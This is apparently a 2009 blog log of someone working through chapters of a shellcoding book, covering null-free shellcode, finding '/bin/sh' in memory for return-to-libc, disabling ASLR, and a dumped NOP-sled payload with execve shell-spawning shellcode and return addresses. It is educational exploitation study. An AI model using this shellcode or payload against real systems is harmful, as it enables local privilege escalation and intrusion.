Wednesday, June 17, 2009

Chapter 3, "Spawning a Shell," pp 51-58

Just a quick note on the assembly listings that start on page 51: I've found this script to be more useful than the stock ASM syntax highlighting that ships with vim.

Also as an aside, the man pages for execve (and other system calls) aren't installed on Ubuntu by default. You'll need to sudo apt-get install manpages-dev to get the goods, then man 2 execve to play along at home.

I'm not quite sure what the purpose is of the "practice" shellcode note on page 54 is useful for; since we're stuck with fixed addresses in the original disassembly, it's pretty pointless to write up the corresponding shellcode without using the JMP + POP ESI tricks discussed on the following page.

And finally, the shellcode invocation method for execve2.c (page 58) will need to be replaced with the phiral version, as discussed for wack.c:

int main()
{
int (*ret)();
ret = (int (*)())shellcode;
(int)(*ret)();
}

With that minor change, the injectable shellcode works perfectly well. And with that, we've come to the end of chapter 3. Next up, format string bugs!

Tuesday, June 16, 2009

Chapter 3, "Injectable Shellcode," page 49

After the run through of wack.c, a couple pages are devoted to the notion of nuking your nulls and shortening your shellcode. However, there's a bit of a problem with the technique described for dropping nulls from the mov statement. The author suggests replacing "mov eax,1" (which has lots of nulls since EAX is a 32-bit register) with "mov al,1", seeing how AL represents only the lower eight bits of EAX.

Although this does achieve the effect of stripping nulls off the shellcode, it also leaves the other three bytes alone. Without some register housekeeping, trouble is afoot:

todb@mazikeen:~/dev/sc/code/ch03$ gcc -static -g -o wack2 wack2.c
todb@mazikeen:~/dev/sc/code/ch03$ ./wack2
Segmentation fault (core dumped)

Ew. Instead, make sure that you zero out not only EBX, but EAX as well:

char shellcode[] =
"\x31\xdb" // xor eax,eax
"\x31\xc0" // xor ebx,ebx
"\xb0\x01" // mov al,1
"\xcd\x80"; // int 0x80
This takes care of whatever was lingering around in both EAX and EBX before you started, and only costs a couple more (non-null) bytes.

Wednesday, June 10, 2009

Chapter 3, "Shellcode," and a slightly buggy wack.c on page 46

On page 46, the question is posed, "how do you really know your shellcode is getting run?" The solution presented is to use strace. The example wack.c in the text is dutifully strace'd to exit(0) at the bottom of the page.

Sadly, this is not the case for me. Behold:

todb@mazikeen:~/dev/sc/ch03$ strace ./wack
execve("./wack", ["./wack"], [/* 45 vars */]) = 0
uname({sys="Linux", node="mazikeen", ...}) = 0
brk(0) = 0x8c85000
brk(0x8c85cb0) = 0x8c85cb0
set_thread_area({entry_number:-1 -> 6, base_addr:0x8c85830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
brk(0x8ca6cb0) = 0x8ca6cb0
brk(0x8ca7000) = 0x8ca7000
exit_group(135016456) = ?
Process 9231 detached
So, I'm getting an exit_group(some number) getting called instead of my lovingly hand-coded exit(0). At first, I assumed that gcc is doing some kind of compile-time fixup on my shellcode. However, after Googling around for some ideas on what's up with this, I came across Introduction to Writing Shellcode, which is nearly identical to the exercise here in Chapter 3, except the type casting the shellcode[] arry as a function is approached somewhat differently -- and has some very useful comments for a C n00b like myself.

Also, the phiral.net textfile has a handy pointer to the gdb method of verifying shellcode. Here's my screen dump of that:

todb@mazikeen:~/dev/sc/ch03$ gcc -g wack.c -o wack
todb@mazikeen:~/dev/sc/ch03$ gdb wack
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas shellcode
Dump of assembler code for function shellcode:
0x0804a010 : mov $0x0,%ebx
0x0804a015 : mov $0x1,%eax
0x0804a01a : int $0x80
0x0804a01c : add %al,(%eax)
End of assembler dump.
(gdb)
This is handy, because I was getting the same results from the disas shellcode as I was with the more broken version -- which isn't surprising, since my shellcode was, in fact, sound, I just wasn't invoking it right.

Here's the fixed wack.c, in case the phiral.net text goes away:

todb@mazikeen:~/dev/sc/ch03$ cat wack.c
char shellcode[] = "\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";

int main()
{
int (*ret)();
ret = (int (*)())shellcode;
(int)(*ret)();
}
And here's my much more satisfying strace:

todb@mazikeen:~/dev/sc/ch03$ gcc -static wack.c -o wack
todb@mazikeen:~/dev/sc/ch03$ strace ./wack
execve("./wack", ["./wack"], [/* 45 vars */]) = 0
uname({sys="Linux", node="mazikeen", ...}) = 0
brk(0) = 0x919d000
brk(0x919dcb0) = 0x919dcb0
set_thread_area({entry_number:-1 -> 6, base_addr:0x919d830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
brk(0x91becb0) = 0x91becb0
brk(0x91bf000) = 0x91bf000
_exit(0) = ?
Process 10218 detached

Tuesday, May 19, 2009

Using memfetch, page 37

This line is somewhat mysterious:
memfetch will dump everything in memory for a specific process; simply look through the binary files for the address of /bin/sh
I've never used memfetch, so may as well get into it now. First, you'll need to get a hold of it and compile it. Download it from Zalewski's site, and, if you're like me and don't have your Linux kernel headers in your include path already, edit the #include line for 'page.h' to
#include "/usr/src/linux/include/asm/page.h"
Googling around for some examples on using memfetch to actually find the address of /bin/sh turns up little, other than copy-pastes of this very section of Shellcoders (like this one). So, not much luck there. After some trial and error, I have a procedure together now which seems to work pretty well.

Memfetch won't run on a process that's already being traced (like, via gdb), so the easiest way to search for /bin/sh is to write a program that hangs around a while. I wrote sleeper.c for this:
int main(void) {
printf("process id: %d\n", getpid());
sleep(30);
}
At this point, compile and run sleeper.c as normal. Note the process ID, and in another terminal, run memfetch , grep for "/bin/sh", note which dump it's in, look for its offset, and do a little arithmetic to figure out where this string lives. Below is a screen capture of the process.
todb@mazikeen:~/dev/sc/memfetch$ ./memfetch 2882
memfetch 0.05b by Michal Zalewski
[+] Attached to PID 2882 (/home/todb/dev/sc/sleep).
[*] Writing master information to mfetch.lst...
Writing map at 0x08048000 (4096 bytes)... [N] done (map-000.bin)
Writing map at 0x08049000 (4096 bytes)... [N] done (map-001.bin)
Writing map at 0x0804a000 (4096 bytes)... [N] done (map-002.bin)
Writing mem at 0xb7e6c000 (4096 bytes)... [S] done (mem-003.bin)
Writing map at 0xb7e6d000 (1409024 bytes)... [S] done (map-004.bin)
Writing map at 0xb7fc5000 (8192 bytes)... [S] done (map-005.bin)
Writing map at 0xb7fc7000 (4096 bytes)... [S] done (map-006.bin)
Writing mem at 0xb7fc8000 (12288 bytes)... [S] done (mem-007.bin)
Writing mem at 0xb7fe0000 (12288 bytes)... [S] done (mem-008.bin)
Writing map at 0xb7fe3000 (106496 bytes)... [S] done (map-009.bin)
Writing mem at 0xb7ffd000 (4096 bytes)... [S] done (mem-010.bin)
Writing map at 0xb7ffe000 (4096 bytes)... [S] done (map-011.bin)
Writing map at 0xb7fff000 (4096 bytes)... [S] done (map-012.bin)
Writing mem at 0xbffeb000 (86016 bytes)... [S] done (mem-013.bin)
[*] Done (14 matching). Have a nice day.
todb@mazikeen:~/dev/sc/memfetch$ grep '/bin/sh' *.bin
Binary file map-004.bin matches
todb@mazikeen:~/dev/sc/memfetch$ irb
irb(main):001:0> f = File.open('map-004.bin') {|f| f.read} ; nil
=> nil
irb(main):002:0> hex # A quicky irb function that converts dec to hex for return values.
=> true
irb(main):003:0> loc = f.index('/bin/sh') # the offset into mem-004.bin
=> 13cc73
irb(main):004:0> start = 0xb7e6d000 # Remember, that's where map-004.bin starts.
=> b7e6d000
irb(main):005:0> start + loc # The location of /bin/sh.
=> b7fa9c73
To verify this value, I re-ran sleep with gdb attached:

todb@mazikeen:~/dev/sc$ gdb ./sleep
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x8048432
(gdb) r
Starting program: /home/todb/dev/sc/sleep

Breakpoint 1, 0x08048432 in main ()
Current language: auto; currently asm
(gdb) x/s 0xb7fa9c73
0xb7fa9c73: "/bin/sh"
(gdb)
Ta-da! So there you have it, using memfetch to find the location of the string "/bin/sh" for use in a return-to-libc style stack exploit. Remember, for this to work consistently, you need to disable ASLR with sudo /sbin/sysctl -w kernel.randomize_va_space=0, as mentioned here.

PS, one useful links I found while puzzling this out is Securiteam's GDB cheat sheet, at: http://www.securiteam.com/securityreviews/5UP0B2KCKI.html. Another is c0ntex's https://www.securinfos.info/english/security-whitepapers-hacking-tutorials/Return-to-libc.txt, which is essentially the same as this Shellcoder's section, but just presented a little differently.

Also, the astute reader will notice about a month lapsed between the last blog post and this one; finals and work and real life intruded on this work for a little bit. Hopefully, I'm back in a position to devote some time to this every day again.

Thursday, April 16, 2009

Debian 2.4 Kernel VMWare image ready!

I've created a Debian 3.1 (Sarge) VMWare image, featuring the delightfully insecure 2.4 Linux kernel, after several hours of piecing together the Debian jigdo distribution. It's available here.

Wednesday, April 15, 2009

Illustrating the NOP sled, page 34

Happily, nopattack.c works like a champ. The immediate problem with attack.c was that I was never getting down to the final system("/bin/bash") call in main(), so I was never going to guess ESP correctly. No such problems plague nopattack.c, though.

The only mild criticism I have at this point is that the eventual value of the environment variable, $BUF, is never really spelled out in the text. So, this is what it looks like (interpreted through irb):
irb(main):005:0> buf = %x['set'].split(/\n/)[1]
=> "BUF='\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\032^1\300\210F\a\215\036\211^\b\211F\f\260\v\211\363\215N\b\215V\f\315\200\350\341\377\377\377/bin/sh\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377'"
irb(main):006:0> buf[5,10240].unpack("H*").first.scan(/../).join(' ')
=> "90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1 ff ff ff 2f 62 69 6e 2f 73 68 ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff 27"
That's a mighty fine NOP sled.

Tuesday, April 14, 2009

Cheaters! Page 32

Well, even after all that, couldn't get myself a root shell. Couple things to note:

attack.c doesn't actually run correctly for me -- I get a segfault on run in the neighborhood of line 34. Since my C skills are atrocious, I just rewrote the thing in ruby to do what I think it's supposed to do. However, even with this work-around, I can't trigger the vulnerability in victim.c beyond a segfault. But apparently, that's okay, neither could the authors, since they admit that they "cheated a little bit, to be honest," on page 32, using a different exploit with a different return address.

On to NOPs!